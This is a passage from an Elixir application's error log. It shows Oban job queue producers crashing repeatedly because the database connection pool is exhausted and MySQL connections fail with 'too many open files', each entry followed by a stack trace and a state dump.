  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:17:06.241245Z], limit: 20, uuid: "c9ff3601-d25e-4ddb-9203-4e9af0e22fe0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:06.241251Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173449>, refresh_timer: #Reference<0.2525715032.1099431938.54549>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:17:06.240432Z], limit: 3, uuid: "4d10d70f-ae0a-4620-b2a0-cecd00a0fab4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:06.240437Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173452>, refresh_timer: #Reference<0.2525715032.1077673987.31034>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:17:06.239536Z], limit: 10, uuid: "b32d236e-2b26-47b4-a628-d39af820189a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:06.239542Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173450>, refresh_timer: #Reference<0.2525715032.1099431938.54528>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:17:06.240601Z], limit: 5, uuid: "29799c86-fa92-4434-a487-5ee144f3ee11", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:06.240606Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173447>, refresh_timer: #Reference<0.2525715032.1121189889.173417>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:18.738000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:21.696000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:24.156000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:24.898000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:26.813000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:26.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:30.110000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:17:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:17:18.240642Z], limit: 20, uuid: "70d152ca-f582-4607-b8c0-047dadfb8694", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:18.240647Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173884>, refresh_timer: #Reference<0.2525715032.1121189889.173852>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:17:18.240610Z], limit: 5, uuid: "d1534c6b-0e8d-4a5d-9a82-bd7f70c75693", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:18.240616Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.173885>, refresh_timer: #Reference<0.2525715032.1121189889.173849>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:17:18.240741Z], limit: 10, uuid: "4155b80a-d73c-4d1c-8b58-40385f323527", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:18.240754Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.31099>, refresh_timer: #Reference<0.2525715032.1077673987.31089>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:17:18.240807Z], limit: 5, uuid: "6268fae4-e0dd-4d3c-971d-bfcda7b01dda", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:18.240812Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.54641>, refresh_timer: #Reference<0.2525715032.1099431938.54640>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:17:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:17:18.240142Z], limit: 50, uuid: "21798fd0-357d-4135-b7f6-22ade25c3363", paused: false, refresh_interval: 30000, shutdown_started_at: nil, 